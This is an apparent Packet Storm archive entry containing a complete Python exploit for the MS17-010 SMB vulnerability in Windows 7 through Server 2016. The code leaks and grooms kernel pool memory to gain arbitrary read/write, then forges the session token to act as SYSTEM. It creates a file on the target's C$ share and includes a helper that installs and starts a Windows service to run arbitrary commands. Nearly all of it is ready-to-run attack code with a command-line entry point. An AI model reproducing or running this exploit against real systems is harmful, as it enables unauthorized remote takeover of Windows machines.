Microsoft Windows EternalBlue SMB Remote Code Execution

2017-07-11T00:00:00
ID PACKETSTORM:143326
Type packetstorm
Reporter sleepya
Modified 2017-07-11T00:00:00

Description

                                        
                                            `#!/usr/bin/python  
from impacket import smb, smbconnection  
from mysmb import MYSMB  
from struct import pack, unpack, unpack_from  
import sys  
import socket  
import time  
  
'''  
MS17-010 exploit for Windows 7+ by sleepya  
  
Note:  
- The exploit should never crash a target (chance should be nearly 0%)  
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed  
  
Tested on:  
- Windows 2016 x64  
- Windows 2012 R2 x64  
- Windows 8.1 x64  
- Windows 2008 R2 SP1 x64  
- Windows 7 SP1 x64  
- Windows 8.1 x86  
- Windows 7 SP1 x86  
'''  
  
USERNAME = ''  
PASSWORD = ''  
  
'''  
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()  
win7 x64  
struct SrvSecContext {  
DWORD xx1; // second WORD is size  
DWORD refCnt;  
PACCESS_TOKEN Token; // 0x08  
DWORD xx2;  
BOOLEAN CopyOnOpen; // 0x14  
BOOLEAN EffectiveOnly;  
WORD xx3;  
DWORD ImpersonationLevel; // 0x18  
DWORD xx4;  
BOOLEAN UsePsImpersonateClient; // 0x20  
}  
win2012 x64  
struct SrvSecContext {  
DWORD xx1; // second WORD is size  
DWORD refCnt;  
QWORD xx2;  
QWORD xx3;  
PACCESS_TOKEN Token; // 0x18  
DWORD xx4;  
BOOLEAN CopyOnOpen; // 0x24  
BOOLEAN EffectiveOnly;  
WORD xx3;  
DWORD ImpersonationLevel; // 0x28  
DWORD xx4;  
BOOLEAN UsePsImpersonateClient; // 0x30  
}  
  
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.  
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true.   
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,  
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns  
STATUS_SUCCESS when Token is NULL.  
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)  
to do all SMB operations.  
Note: fake Token might be possible, but NULL token is much easier.  
'''  
WIN7_INFO = {  
'SESSION_SECCTX_OFFSET': 0xa0,  
'SESSION_ISNULL_OFFSET': 0xba,  
'FAKE_SECCTX': pack('<IIQQIIB', 0x28022a, 1, 0, 0, 2, 0, 1),  
'SECCTX_SIZE': 0x28,  
}  
  
WIN7_32_INFO = {  
'SESSION_SECCTX_OFFSET': 0x80,  
'SESSION_ISNULL_OFFSET': 0x96,  
'FAKE_SECCTX': pack('<IIIIIIB', 0x1c022a, 1, 0, 0, 2, 0, 1),  
'SECCTX_SIZE': 0x1c,  
}  
  
# win8+ info  
WIN8_INFO = {  
'SESSION_SECCTX_OFFSET': 0xb0,  
'SESSION_ISNULL_OFFSET': 0xca,  
'FAKE_SECCTX': pack('<IIQQQQIIB', 0x38022a, 1, 0, 0, 0, 0, 2, 0, 1),  
'SECCTX_SIZE': 0x38,  
}  
  
WIN8_32_INFO = {  
'SESSION_SECCTX_OFFSET': 0x88,  
'SESSION_ISNULL_OFFSET': 0x9e,  
'FAKE_SECCTX': pack('<IIIIIIIIB', 0x24022a, 1, 0, 0, 0, 0, 2, 0, 1),  
'SECCTX_SIZE': 0x24,  
}  
  
X86_INFO = {  
'PTR_SIZE' : 4,  
'PTR_FMT' : 'I',  
'FRAG_TAG_OFFSET' : 12,  
'POOL_ALIGN' : 8,  
'SRV_BUFHDR_SIZE' : 8,  
'TRANS_SIZE' : 0xa0, # struct size  
'TRANS_FLINK_OFFSET' : 0x18,  
'TRANS_INPARAM_OFFSET' : 0x40,  
'TRANS_OUTPARAM_OFFSET' : 0x44,  
'TRANS_INDATA_OFFSET' : 0x48,  
'TRANS_OUTDATA_OFFSET' : 0x4c,  
'TRANS_FUNCTION_OFFSET' : 0x72,  
'TRANS_MID_OFFSET' : 0x80,  
}  
  
X64_INFO = {  
'PTR_SIZE' : 8,  
'PTR_FMT' : 'Q',  
'FRAG_TAG_OFFSET' : 0x14,  
'POOL_ALIGN' : 0x10,  
'SRV_BUFHDR_SIZE' : 0x10,  
'TRANS_SIZE' : 0xf8, # struct size  
'TRANS_FLINK_OFFSET' : 0x28,  
'TRANS_INPARAM_OFFSET' : 0x70,  
'TRANS_OUTPARAM_OFFSET' : 0x78,  
'TRANS_INDATA_OFFSET' : 0x80,  
'TRANS_OUTDATA_OFFSET' : 0x88,  
'TRANS_FUNCTION_OFFSET' : 0xb2,  
'TRANS_MID_OFFSET' : 0xc0,  
}  
  
  
def wait_for_request_processed(conn):  
#time.sleep(0.05)  
# send echo is faster than sleep(0.05) when connection is very good  
conn.send_echo('a')  
  
special_mid = 0  
extra_last_mid = 0  
def reset_extra_mid(conn):  
global extra_last_mid, special_mid  
special_mid = (conn.next_mid() & 0xff00) - 0x100  
extra_last_mid = special_mid  
  
def next_extra_mid():  
global extra_last_mid  
extra_last_mid += 1  
return extra_last_mid  
  
# Borrow 'groom' and 'bride' word from NSA tool  
# GROOM_TRANS_SIZE includes transaction name, parameters and data  
GROOM_TRANS_SIZE = 0x5010  
  
  
def calc_alloc_size(size, align_size):  
return (size + align_size - 1) & ~(align_size-1)  
  
def leak_frag_size(conn, tid, fid, info):  
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.  
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.  
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.  
# From the leak info, we can determine the target architecture too.  
mid = conn.next_mid()  
req1 = conn.create_nt_trans_packet(5, param=pack('<HH', fid, 0), mid=mid, data='A'*0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0-4)  
req2 = conn.create_nt_trans_secondary_packet(mid, data='B'*276) # leak more 276 bytes  
  
conn.send_raw(req1[:-8])  
conn.send_raw(req1[-8:]+req2)  
leakData = conn.recv_transaction_data(mid, 0x10d0+276)  
leakData = leakData[0x10d4:] # skip parameters and its own input  
if leakData[X86_INFO['FRAG_TAG_OFFSET']:X86_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':  
print('Target is 32 bit')  
if info['SESSION_SECCTX_OFFSET'] == WIN7_INFO['SESSION_SECCTX_OFFSET']:  
info.update(WIN7_32_INFO)  
elif info['SESSION_SECCTX_OFFSET'] == WIN8_INFO['SESSION_SECCTX_OFFSET']:  
info.update(WIN8_32_INFO)  
else:  
print('The exploit does not support this 32 bit target')  
sys.exit()  
info.update(X86_INFO)  
elif leakData[X64_INFO['FRAG_TAG_OFFSET']:X64_INFO['FRAG_TAG_OFFSET']+4] == 'Frag':  
print('Target is 64 bit')  
info.update(X64_INFO)  
else:  
print('Not found Frag pool tag in leak data')  
sys.exit()  
  
# Calculate frag pool size  
info['FRAG_POOL_SIZE'] = ord(leakData[ info['FRAG_TAG_OFFSET']-2 ]) * info['POOL_ALIGN']  
print('Got frag size: 0x{:x}'.format(info['FRAG_POOL_SIZE']))  
  
# groom: srv buffer header  
info['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'], info['POOL_ALIGN'])  
print('GROOM_POOL_SIZE: 0x{:x}'.format(info['GROOM_POOL_SIZE']))  
# groom paramters and data is alignment by 8 because it is NT_TRANS  
info['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - 4 - 4 - info['TRANS_SIZE'] # empty transaction name (4), alignment (4)  
  
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)  
bridePoolSize = 0x1000 - (info['GROOM_POOL_SIZE'] & 0xfff) - info['FRAG_POOL_SIZE']  
info['BRIDE_TRANS_SIZE'] = bridePoolSize - (info['SRV_BUFHDR_SIZE'] + info['POOL_ALIGN'])  
print('BRIDE_TRANS_SIZE: 0x{:x}'.format(info['BRIDE_TRANS_SIZE']))  
# bride paramters and data is alignment by 4 because it is TRANS  
info['BRIDE_DATA_SIZE'] = info['BRIDE_TRANS_SIZE'] - 4 - info['TRANS_SIZE'] # empty transaction name (4)  
  
return info['FRAG_POOL_SIZE']  
  
  
def align_transaction_and_leak(conn, tid, fid, info, numFill=4):  
trans_param = pack('<HH', fid, 0) # param for NT_RENAME  
# fill large pagedpool holes (maybe no need)  
for i in range(numFill):  
conn.send_nt_trans(5, param=trans_param, totalDataCount=0x10d0, maxParameterCount=GROOM_TRANS_SIZE-0x10d0)  
  
mid_ntrename = conn.next_mid()  
req1 = conn.create_nt_trans_packet(5, param=trans_param, mid=mid_ntrename, data='A'*0x10d0, maxParameterCount=info['GROOM_DATA_SIZE']-0x10d0)  
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='B'*276) # leak more 276 bytes  
  
req3 = conn.create_nt_trans_packet(5, param=trans_param, mid=fid, totalDataCount=info['GROOM_DATA_SIZE']-0x1000, maxParameterCount=0x1000)  
reqs = []  
for i in range(12):  
mid = next_extra_mid()  
reqs.append(conn.create_trans_packet('', mid=mid, param=trans_param, totalDataCount=info['BRIDE_DATA_SIZE']-0x200, totalParameterCount=0x200, maxDataCount=0, maxParameterCount=0))  
  
conn.send_raw(req1[:-8])  
conn.send_raw(req1[-8:]+req2+req3+''.join(reqs))  
  
# expected transactions alignment ("Frag" pool is not shown)  
#  
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |  
# +-------------------------------+----------------+-------------------------------+----------------+  
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |  
# +-------------------------------+----------------+-------------------------------+----------------+  
#  
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.  
# From leaked transaction, we get  
# - leaked transaction address from InParameter or InData  
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink  
# With these information, we can verify the transaction aligment from displacement.  
  
leakData = conn.recv_transaction_data(mid_ntrename, 0x10d0+276)  
leakData = leakData[0x10d4:] # skip parameters and its own input  
#open('leak.dat', 'wb').write(leakData)  
  
if leakData[info['FRAG_TAG_OFFSET']:info['FRAG_TAG_OFFSET']+4] != 'Frag':  
print('Not found Frag pool tag in leak data')  
return None  
  
# ================================  
# verify leak data  
# ================================  
leakData = leakData[info['FRAG_TAG_OFFSET']-4+info['FRAG_POOL_SIZE']:]  
# check pool tag and size value in buffer header  
expected_size = pack('<H', info['BRIDE_TRANS_SIZE'])  
leakTransOffset = info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE']  
if leakData[0x4:0x8] != 'LStr' or leakData[info['POOL_ALIGN']:info['POOL_ALIGN']+2] != expected_size or leakData[leakTransOffset+2:leakTransOffset+4] != expected_size:  
print('No transaction struct in leak data')  
return None  
  
leakTrans = leakData[leakTransOffset:]  
  
ptrf = info['PTR_FMT']  
_, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<'+ptrf*5, leakTrans, 8)  
inparam_value = unpack_from('<'+ptrf, leakTrans, info['TRANS_INPARAM_OFFSET'])[0]  
leak_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]  
  
print('CONNECTION: 0x{:x}'.format(connection_addr))  
print('SESSION: 0x{:x}'.format(session_addr))  
print('FLINK: 0x{:x}'.format(flink_value))  
print('InParam: 0x{:x}'.format(inparam_value))  
print('MID: 0x{:x}'.format(leak_mid))  
  
next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000  
if next_page_addr + info['GROOM_POOL_SIZE'] + info['FRAG_POOL_SIZE'] + info['POOL_ALIGN'] + info['SRV_BUFHDR_SIZE'] + info['TRANS_FLINK_OFFSET'] != flink_value:  
print('unexpected alignment, diff: 0x{:x}'.format(flink_value - next_page_addr))  
return None  
# trans1: leak transaction  
# trans2: next transaction  
return {  
'connection': connection_addr,  
'session': session_addr,  
'next_page_addr': next_page_addr,  
'trans1_mid': leak_mid,  
'trans1_addr': inparam_value - info['TRANS_SIZE'] - 4,  
'trans2_addr': flink_value - info['TRANS_FLINK_OFFSET'],  
'special_mid': special_mid,  
}  
  
def read_data(conn, info, read_addr, read_size):  
fmt = info['PTR_FMT']  
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data  
# modify trans2.*ParameterCount and trans2.*DataCount to limit data  
new_data = pack('<'+fmt*3, info['trans2_addr']+info['TRANS_FLINK_OFFSET'], info['trans2_addr']+0x200, read_addr) # OutParameter, InData, OutData  
new_data += pack('<II', 0, 0) # SetupCount, MaxSetupCount  
new_data += pack('<III', 8, 8, 8) # ParamterCount, TotalParamterCount, MaxParameterCount  
new_data += pack('<III', read_size, read_size, read_size) # DataCount, TotalDataCount, MaxDataCount  
new_data += pack('<HH', 0, 5) # Category, Function (NT_RENAME)  
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=new_data, dataDisplacement=info['TRANS_OUTPARAM_OFFSET'])  
  
# create one more transaction before leaking data  
# - next transaction can be used for arbitrary read/write after the current trans2 is done  
# - next transaction address is from TransactionListEntry.Flink value  
conn.send_nt_trans(5, param=pack('<HH', info['fid'], 0), totalDataCount=0x4300-0x20, totalParameterCount=0x1000)  
  
# finish the trans2 to leak  
conn.send_nt_trans_secondary(mid=info['trans2_mid'])  
read_data = conn.recv_transaction_data(info['trans2_mid'], 8+read_size)  
  
# set new trans2 address  
info['trans2_addr'] = unpack_from('<'+fmt, read_data)[0] - info['TRANS_FLINK_OFFSET']  
  
# set trans1.InData to &trans2  
conn.send_nt_trans_secondary(mid=info['trans1_mid'], param=pack('<'+fmt, info['trans2_addr']), paramDisplacement=info['TRANS_INDATA_OFFSET'])  
wait_for_request_processed(conn)  
  
# modify trans2 mid  
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])  
wait_for_request_processed(conn)  
  
return read_data[8:] # no need to return parameter  
  
  
def write_data(conn, info, write_addr, write_data):  
# trans2.InData  
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<'+info['PTR_FMT'], write_addr), dataDisplacement=info['TRANS_INDATA_OFFSET'])  
wait_for_request_processed(conn)  
  
# write data  
conn.send_nt_trans_secondary(mid=info['trans2_mid'], data=write_data)  
wait_for_request_processed(conn)  
  
  
def exploit(target, pipe_name):  
conn = MYSMB(target)  
  
# set NODELAY to make exploit much faster  
conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)  
  
info = {}  
  
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)  
server_os = conn.get_server_os()  
print('Target OS: '+server_os)  
if server_os.startswith("Windows 7 ") or server_os.startswith("Windows Server 2008 R2"):  
info.update(WIN7_INFO)  
elif server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ") or server_os.startswith("Windows Server 2016 "):  
info.update(WIN8_INFO)  
else:  
print('This exploit does not support this target')  
sys.exit()  
  
# ================================  
# try align pagedpool and leak info until satisfy  
# ================================  
leakInfo = None  
# max attempt: 10  
for i in range(10):  
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')  
conn.set_default_tid(tid)  
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.  
fid = conn.nt_create_andx(tid, pipe_name)  
if 'FRAG_POOL_SIZE' not in info:  
leak_frag_size(conn, tid, fid, info)  
reset_extra_mid(conn)  
leakInfo = align_transaction_and_leak(conn, tid, fid, info)  
if leakInfo is not None:  
break  
print('leak failed... try again')  
conn.close(tid, fid)  
conn.disconnect_tree(tid)  
if leakInfo is None:  
return False  
  
info['fid'] = fid  
info.update(leakInfo)  
  
# ================================  
# shift trans1.Indata ptr with SmbWriteAndX  
# ================================  
shift_indata_byte = 0x200  
conn.do_write_andx_raw_pipe(fid, 'A'*shift_indata_byte)  
  
# Note: Even the distance between bride transaction is exactly what we want, the groom transaction might be in a wrong place.  
# So the below operation is still dangerous. Write only 1 byte with '\x00' might be safe even alignment is wrong.  
# maxParameterCount (0x1000), trans name (4), param (4)  
indata_value = info['next_page_addr'] + info['TRANS_SIZE'] + 8 + info['SRV_BUFHDR_SIZE'] + 0x1000 + shift_indata_byte  
indata_next_trans_displacement = info['trans2_addr'] - indata_value  
conn.send_nt_trans_secondary(mid=fid, data='\x00', dataDisplacement=indata_next_trans_displacement + info['TRANS_MID_OFFSET'])  
wait_for_request_processed(conn)  
  
# if the overwritten is correct, a modified transaction mid should be special_mid now.  
# a new transaction with special_mid should be error.  
recvPkt = conn.send_nt_trans(5, mid=special_mid, param=pack('<HH', fid, 0), data='')  
if recvPkt.getNTStatus() != 0x10002: # invalid SMB  
print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus()))  
print('!!! Write to wrong place !!!')  
print('the target might be crashed')  
sys.exit()  
  
print('success controlling groom transaction')  
  
# NSA exploit set refCnt on leaked transaction to very large number for reading data repeatly  
# but this method make the transation never get freed  
# I will avoid memory leak  
  
# ================================  
# modify trans1 struct to be used for arbitrary read/write  
# ================================  
print('modify trans1 struct for arbitrary read/write')  
fmt = info['PTR_FMT']  
# modify trans_special.InData to &trans1  
conn.send_nt_trans_secondary(mid=fid, data=pack('<'+fmt, info['trans1_addr']), dataDisplacement=indata_next_trans_displacement + info['TRANS_INDATA_OFFSET'])  
wait_for_request_processed(conn)  
  
# modify  
# - trans1.InParameter to &trans1. so we can modify trans1 struct with itself  
# - trans1.InData to &trans2. so we can modify trans2 easily  
conn.send_nt_trans_secondary(mid=info['special_mid'], data=pack('<'+fmt*3, info['trans1_addr'], info['trans1_addr']+0x200, info['trans2_addr']), dataDisplacement=info['TRANS_INPARAM_OFFSET'])  
wait_for_request_processed(conn)  
  
# modify trans2.mid  
info['trans2_mid'] = conn.next_mid()  
conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('<H', info['trans2_mid']), dataDisplacement=info['TRANS_MID_OFFSET'])  
  
# Now, read_data() and write_data() can be used for arbitrary read and write.  
# ================================  
# Modify this SMB session to be SYSTEM  
# ================================   
# Note: Windows XP stores only PCtxtHandle and uses ImpersonateSecurityContext() for impersonation, so this  
# method does not work on Windows XP. But with arbitrary read/write, code execution is not difficult.  
  
print('make this SMB session to be SYSTEM')  
# IsNullSession = 0, IsAdmin = 1  
write_data(conn, info, info['session']+info['SESSION_ISNULL_OFFSET'], '\x00\x01')  
  
# read session struct to get SecurityContext address  
sessionData = read_data(conn, info, info['session'], 0x100)  
secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]  
  
# copy SecurityContext for restoration  
secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])  
  
print('overwriting session security context')  
# see FAKE_SECCTX detail at top of the file  
write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])  
  
# ================================  
# do whatever we want as SYSTEM over this SMB connection  
# ================================   
try:  
smb_pwn(conn)  
except:  
pass  
  
# restore SecurityContext. If the exploit does not use null session, PCtxtHandle will be leaked.  
write_data(conn, info, secCtxAddr, secCtxData)  
  
conn.disconnect_tree(tid)  
conn.logoff()  
conn.get_socket().close()  
return True  
  
def smb_pwn(conn):  
smbConn = smbconnection.SMBConnection(conn.get_remote_host(), conn.get_remote_host(), existingConnection=conn, manualNegotiate=True)  
  
print('creating file c:\\pwned.txt on the target')  
tid2 = smbConn.connectTree('C$')  
fid2 = smbConn.createFile(tid2, '/pwned.txt')  
smbConn.closeFile(tid2, fid2)  
smbConn.disconnectTree(tid2)  
  
#service_exec(smbConn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')  
  
# based on impacket/examples/serviceinstall.py  
def service_exec(smbConn, cmd):  
import random  
import string  
from impacket.dcerpc.v5 import transport, srvs, scmr  
  
service_name = ''.join([random.choice(string.letters) for i in range(4)])  
  
# Setup up a DCE SMBTransport with the connection already in place  
rpctransport = transport.SMBTransport(smbConn.getRemoteHost(), smbConn.getRemoteHost(), filename=r'\svcctl', smb_connection=smbConn)  
rpcsvc = rpctransport.get_dce_rpc()  
rpcsvc.connect()  
rpcsvc.bind(scmr.MSRPC_UUID_SCMR)  
svnHandle = None  
try:  
print("Opening SVCManager on %s....." % smbConn.getRemoteHost())  
resp = scmr.hROpenSCManagerW(rpcsvc)  
svcHandle = resp['lpScHandle']  
  
# First we try to open the service in case it exists. If it does, we remove it.  
try:  
resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00')  
except Exception, e:  
if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:  
raise e # Unexpected error  
else:  
# It exists, remove it  
scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])  
scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])  
  
print('Creating service %s.....' % service_name)  
resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')  
serviceHandle = resp['lpServiceHandle']  
  
if serviceHandle:  
# Start service  
try:  
print('Starting service %s.....' % service_name)  
scmr.hRStartServiceW(rpcsvc, serviceHandle)  
# is it really need to stop?  
# using command line always makes starting service fail because SetServiceStatus() does not get called  
print('Stoping service %s.....' % service_name)  
scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)  
except Exception, e:  
print(str(e))  
  
print('Removing service %s.....' % service_name)  
scmr.hRDeleteService(rpcsvc, serviceHandle)  
scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)  
except Exception, e:  
print("ServiceExec Error on: %s" % smbConn.getRemoteHost())  
print(str(e))  
finally:  
if svcHandle:  
scmr.hRCloseServiceHandle(rpcsvc, svcHandle)  
  
rpcsvc.disconnect()  
  
  
if len(sys.argv) != 3:  
print("{} <ip> <pipe_name>".format(sys.argv[0]))  
sys.exit(1)  
  
target = sys.argv[1]  
pipe_name = sys.argv[2]  
  
exploit(target, pipe_name)  
print('Done')  
  
`